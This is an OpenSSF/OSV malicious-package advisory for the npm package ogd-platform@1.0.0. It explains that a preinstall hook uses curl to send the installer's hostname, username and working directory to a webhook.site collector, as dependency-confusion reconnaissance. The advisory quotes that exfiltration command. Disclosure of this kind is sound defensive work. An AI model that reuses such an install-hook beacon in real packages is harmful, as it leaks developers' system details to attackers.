OpenSSF/OSV advisory MAL-2026-5828 confirms this npm version as malicious. The package contains only a package.json with a preinstall lifecycle script and ships no actual functionality despite advertising itself as an 'Open Government Data Platform core'. On `npm install`, the preinstall hook runs `curl --data-urlencode "info=$(hostname && whoami && pwd)"` against a webhook.site collector URL, sending the installer's hostname, username, and current working directory to an...
Source
OpenSSF Malicious Packages via OSV
Summary
Malicious code in ogd-platform (npm)
Details
The package contains only a package.json with a preinstall lifecycle script and ships no actual functionality despite advertising itself as an 'Open Government Data Platform core'. On `npm install`, the preinstall hook runs `curl --data-urlencode "info=$(hostname && whoami && pwd)"` against a webhook.site collector URL, sending the installer's hostname, username, and current working directory to an attacker-controlled endpoint. The empty tarball plus recon beacon is the canonical dependency-confusion / namespace-squat reconnaissance shape: an internal build expecting a private `ogd-platform` package would resolve to this public registry entry and leak host identifiers to the attacker on install.
Decision reason
OSV/OpenSSF confirms ogd-platform@1.0.0 as malicious package MAL-2026-5828. Malicious code in ogd-platform (npm)